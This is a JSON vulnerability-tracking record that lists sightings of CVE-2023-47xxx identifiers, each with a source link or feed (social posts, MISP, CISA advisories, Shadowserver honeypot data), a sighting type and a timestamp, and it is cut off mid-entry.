{"vulnerability": "2023-47", "sightings": [{"uuid": "35e162dc-8f1b-4493-9306-9e94cb425f49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47543", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113471621703891497", "content": "", "creation_timestamp": "2024-11-12T19:25:41.006386Z"}, {"uuid": "bc17d4b5-7e2e-47ed-bbfc-ec0f23620573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-11-13T18:10:02.000000Z"}, {"uuid": "8abff9e2-e742-47ba-8f6a-a336d37c8ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-12-21T18:10:02.000000Z"}, {"uuid": "01488377-8e64-49f4-9eaa-ca45b86feccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47250", "type": "seen", "source": "MISP/0bd7388a-e1df-4806-aa82-02ce3b1ac553", "content": "", "creation_timestamp": "2023-12-31T18:18:46.000000Z"}, {"uuid": "45255705-84c7-4fe2-b37d-9a14fa21d144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47251", "type": "seen", "source": "MISP/00941aeb-379c-4544-8c08-43e64b6120d7", "content": "", "creation_timestamp": "2023-12-31T18:18:48.000000Z"}, {"uuid": "df9b4387-1512-4ead-9ba7-ff3a4d652e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-02-06T18:10:02.000000Z"}, {"uuid": "bd3a65ac-a369-4a61-a5d0-f060e97ab04d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47039", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "8a17af63-933f-4a94-81f3-fb30052074ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47100", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "d0b17147-5403-43fa-8f54-62bb195ef538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47038", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-319-08", "content": "", "creation_timestamp": "2024-11-14T12:00:00.000000Z"}, {"uuid": "6d359f2b-35f9-4118-af0e-d2810e4b309d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47838", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638692999393", "content": "", "creation_timestamp": "2024-12-09T11:31:17.113464Z"}, {"uuid": "e684c100-8073-41b0-9761-ef942b40c8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47841", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638707920749", "content": "", "creation_timestamp": "2024-12-09T11:31:17.385819Z"}, {"uuid": "7fb8f60e-7c1b-4bda-8e98-d0c7ed8ae4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47847", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638721668524", "content": "", "creation_timestamp": "2024-12-09T11:31:17.554882Z"}, {"uuid": "5f255533-3982-477e-8a19-55b97a418f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47849", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622638736001369", "content": "", "creation_timestamp": "2024-12-09T11:31:17.914505Z"}, {"uuid": "f636c986-31aa-47d8-9d2f-061ad2c6f4f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47869", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622697738823974", "content": "", "creation_timestamp": "2024-12-09T11:46:17.980519Z"}, {"uuid": "f9d79fb9-0390-4779-ac33-e87a5a512dac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47871", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622697752632724", "content": "", "creation_timestamp": "2024-12-09T11:46:18.201026Z"}, {"uuid": "ad8af390-933d-419a-84cf-ca56e15cd844", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47397", "type": "confirmed", "source": "https://gist.github.com/LioTree/e738a06c3e7b5dfb838a8734d5e15423", "content": "", "creation_timestamp": "2025-01-07T06:04:49.000000Z"}, {"uuid": "2ef47f0b-3694-4e77-b04b-507674ff3ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971919", "content": "", "creation_timestamp": "2024-12-24T20:35:38.697145Z"}, {"uuid": "e0272933-4faf-4da3-8adc-8810f5d3d732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47523", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nclgsc2a", "content": "", "creation_timestamp": "2025-01-02T12:17:49.944283Z"}, {"uuid": "440ea019-eba1-436d-b77a-1bf7c711df03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47179", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mmuxxd25", "content": "", "creation_timestamp": "2025-01-02T12:17:27.031352Z"}, {"uuid": "bf1e843b-7579-41b6-a520-13d87819f794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47225", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2n3pp6i25", "content": "", "creation_timestamp": "2025-01-02T12:17:42.978841Z"}, {"uuid": "efa50d3f-4dc3-478a-8062-896892e603bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47647", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nh3g7s2a", "content": "", "creation_timestamp": "2025-01-02T12:17:54.855584Z"}, {"uuid": "ca3d860e-13ef-4795-b074-3fe7b31e08a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47515", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2na6q242m", "content": "", "creation_timestamp": "2025-01-02T12:17:47.267294Z"}, {"uuid": "bc9a0c71-e9ab-4ab6-a552-354915f887ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47693", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nsj3ir2o", "content": "", "creation_timestamp": "2025-01-02T12:18:06.450035Z"}, {"uuid": "b5563806-6ac7-4700-ad4e-0858291fc05c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47180", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mozqli2c", "content": "", "creation_timestamp": "2025-01-02T12:17:29.249596Z"}, {"uuid": "a03aec65-9d67-41a7-9597-f5dd0dbb2d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47241", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2n5y77h2m", "content": "", "creation_timestamp": "2025-01-02T12:17:45.059167Z"}, {"uuid": "4fad5c7e-9e4e-4954-8cc2-fe794ae71412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47648", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2njdn5t2i", "content": "", "creation_timestamp": "2025-01-02T12:17:57.043309Z"}, {"uuid": "f9afcfdd-9a83-4b6a-8e0f-f3626d208d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47187", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mubjgn22", "content": "", "creation_timestamp": "2025-01-02T12:17:34.937007Z"}, {"uuid": "130ea956-3762-456b-a278-7f1403382a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47661", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nljttz2l", "content": "", "creation_timestamp": "2025-01-02T12:17:59.151598Z"}, {"uuid": "a4194734-295d-4caa-92b3-6714e70da3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47183", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mrrruy2k", "content": "", "creation_timestamp": "2025-01-02T12:17:32.340841Z"}, {"uuid": "5bb3583f-237c-4d4b-b5d8-9209428fa00c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47188", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mwy5of2i", "content": "", "creation_timestamp": "2025-01-02T12:17:37.609041Z"}, {"uuid": "948f7658-bca5-4edc-a052-3deeb1f13086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47224", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2mzhhep2m", "content": "", "creation_timestamp": "2025-01-02T12:17:40.166059Z"}, {"uuid": "9f72be2d-09b6-47bf-9edc-c0c1ed1fe2a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47557", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2neswdf22", "content": "", "creation_timestamp": "2025-01-02T12:17:52.059495Z"}, {"uuid": "448757cf-cef5-4ee9-a054-47864a445740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47689", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nnnq5522", "content": "", "creation_timestamp": "2025-01-02T12:18:01.451479Z"}, {"uuid": "a138fcbb-5819-4049-825d-76ad1f4ebcfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47692", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2npz3tj2l", "content": "", "creation_timestamp": "2025-01-02T12:18:04.137011Z"}, {"uuid": "a240ae36-d47d-4069-8c3c-8052b155622d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47179", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759328143716872", "content": "", "creation_timestamp": "2025-01-02T14:53:12.740904Z"}, {"uuid": "92afb427-cff6-4afb-9c12-5d4f6b5cc558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47180", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759328157381620", "content": "", "creation_timestamp": "2025-01-02T14:53:12.873229Z"}, {"uuid": "23786b78-062e-4441-ba2b-fe1a40d45bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47183", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759328171205781", "content": "", "creation_timestamp": "2025-01-02T14:53:13.271945Z"}, {"uuid": "a0697c38-d0f9-470d-a3a0-f6c9c60085e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47187", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387169103321", "content": "", "creation_timestamp": "2025-01-02T15:08:13.153322Z"}, {"uuid": "79f5d707-31ff-4fc8-ac81-752b8d45bd89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47188", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387183080415", "content": "", "creation_timestamp": "2025-01-02T15:08:13.355422Z"}, {"uuid": "32c615f6-d86c-4f7e-9957-bea241d213cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47224", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387197042944", "content": "", "creation_timestamp": "2025-01-02T15:08:13.676509Z"}, {"uuid": "3c828da1-695b-4fde-9869-4476e2b83bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47225", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759387210898557", "content": "", "creation_timestamp": "2025-01-02T15:08:13.924645Z"}, {"uuid": "14ec089b-67bf-4b79-a731-f14eb6cdf85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47778", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerelumcwd22", "content": "", "creation_timestamp": "2025-01-02T15:16:01.623026Z"}, {"uuid": "1dfa75cb-2223-48a2-b681-ad6b29ef8114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47807", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerelwr3tr2c", "content": "", "creation_timestamp": "2025-01-02T15:16:04.248506Z"}, {"uuid": "25d3a6a9-bcf7-4142-bc44-e09b89615b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47515", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446224570360", "content": "", "creation_timestamp": "2025-01-02T15:23:14.862645Z"}, {"uuid": "136cc197-4849-4271-9c5c-ebc911418b85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47523", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446238521523", "content": "", "creation_timestamp": "2025-01-02T15:23:14.916137Z"}, {"uuid": "d463e06d-a15e-44b4-8792-0deb3bc2ad2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47241", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446210640077", "content": "", "creation_timestamp": "2025-01-02T15:23:14.982918Z"}, {"uuid": "9ceacda3-d6a6-49db-a9fc-4786235372d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47557", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446253059913", "content": "", "creation_timestamp": "2025-01-02T15:23:15.036892Z"}, {"uuid": "5f63c506-d744-4df5-a0ed-ae7afeebf26c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47647", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505254632515", "content": "", "creation_timestamp": "2025-01-02T15:38:14.975814Z"}, {"uuid": "8ab1a76e-a052-486c-903c-4df7efe0498c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47648", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505269642091", "content": "", "creation_timestamp": "2025-01-02T15:38:15.198036Z"}, {"uuid": "b295ce57-e640-4102-82cc-21e8e8598203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47661", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505283295896", "content": "", "creation_timestamp": "2025-01-02T15:38:15.562270Z"}, {"uuid": "1bd05198-ae21-41e0-b901-e674b38652ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47689", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759505297140595", "content": "", "creation_timestamp": "2025-01-02T15:38:15.759424Z"}, {"uuid": "aa2cea4d-3a15-47c0-abaa-a8c486c97e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47692", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759564299646704", "content": "", "creation_timestamp": "2025-01-02T15:53:16.010088Z"}, {"uuid": "68e8581f-f614-48d9-8595-c9260fcd6c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47693", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759564333327586", "content": "", "creation_timestamp": "2025-01-02T15:53:16.507956Z"}, {"uuid": "3bc86cec-e0f5-431f-903b-72232d295680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47778", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lergwwofd62r", "content": "", "creation_timestamp": "2025-01-02T15:58:01.000991Z"}, {"uuid": "cde90ec1-e812-4247-b694-cbf4f0743f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-25)", "content": "", "creation_timestamp": "2024-12-25T00:00:00.000000Z"}, {"uuid": "3722836a-bc9f-42be-9cd3-166aae17fe04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-31)", "content": "", "creation_timestamp": "2025-01-31T00:00:00.000000Z"}, {"uuid": "c90e94e6-9630-40cb-8217-121ad4dbea65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-31)", "content": "", "creation_timestamp": "2025-01-31T00:00:00.000000Z"}, {"uuid": "d7157686-fe47-4150-a4b9-86574a22f82b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-31)", "content": "", "creation_timestamp": "2024-10-31T00:00:00.000000Z"}, {"uuid": "9c121143-b7fd-4d2c-a977-dd27b103d1ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47108", "type": "seen", "source": "https://gist.github.com/cwayne18/3da2b9bf101aefc5a7f783c55023b8af", "content": "", "creation_timestamp": "2025-01-28T13:36:28.000000Z"}, {"uuid": "45b63f75-7897-426c-ab00-ea7e3cada03d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "e94ff3aa-5180-4882-a7e4-70cbea398129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47159", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113901204887276183", "content": "", "creation_timestamp": "2025-01-27T16:14:19.898444Z"}, {"uuid": "91ea63fb-9495-4690-9d5e-da9e1c3a2269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-20)", "content": "", "creation_timestamp": "2024-12-20T00:00:00.000000Z"}, {"uuid": "b8cb48f3-0a4d-457c-9856-f024a00b4a8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47159", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgqdmdiqov2p", "content": "", "creation_timestamp": "2025-01-27T16:16:04.545871Z"}, {"uuid": "8c6ca158-9102-4130-b859-d7cbf70f5f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-15)", "content": "", "creation_timestamp": "2025-03-15T00:00:00.000000Z"}, {"uuid": "7320abee-c4fa-4c7d-a4b5-7d504ee457c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:57.000000Z"}, {"uuid": "d93a0482-6bdb-427b-9986-f12dd1b7fb38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-27)", "content": "", "creation_timestamp": "2025-02-27T00:00:00.000000Z"}, {"uuid": "04f752fd-4746-4c56-85da-53c257a82559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4765", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulplhoic2o", "content": "", "creation_timestamp": "2025-02-11T02:16:53.966327Z"}, {"uuid": "19f27e02-2e1c-4a0f-a591-a16e40b10bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4784", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulpnxahu2c", "content": "", "creation_timestamp": "2025-02-11T02:16:56.469208Z"}, {"uuid": "89aa3ccc-a2e5-448a-a92d-8f2bfdfa81df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114184004069734379", "content": "", "creation_timestamp": "2025-03-18T14:53:53.027084Z"}, {"uuid": "c889d8bc-aa64-4dbd-af57-eeae7c0b791b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114184219907988138", "content": "", "creation_timestamp": "2025-03-18T15:48:47.095021Z"}, {"uuid": "c764588e-50db-4f8e-918f-aba5ced1bad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lko6ftznmw24", "content": "", "creation_timestamp": "2025-03-18T17:18:25.694567Z"}, {"uuid": "a99c125e-7d2f-4f93-97f2-d84a3378f17d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47784", "type": "seen", "source": "MISP/2bb5c40c-5583-4a30-bc62-81e5a7af21a7", "content": "", "creation_timestamp": "2025-03-19T15:49:03.000000Z"}, {"uuid": "82fb2a50-3817-4642-9fbd-4cbc2488f831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkpzqbqtro2z", "content": "", "creation_timestamp": "2025-03-19T11:00:07.044034Z"}, {"uuid": "a24d3a59-d7de-4d8f-936b-037d6d60a5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ljnutmfxed2z", "content": "", "creation_timestamp": "2025-03-05T21:01:59.960737Z"}, {"uuid": "a3ee8c15-f037-424d-9922-f67604d3d06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver 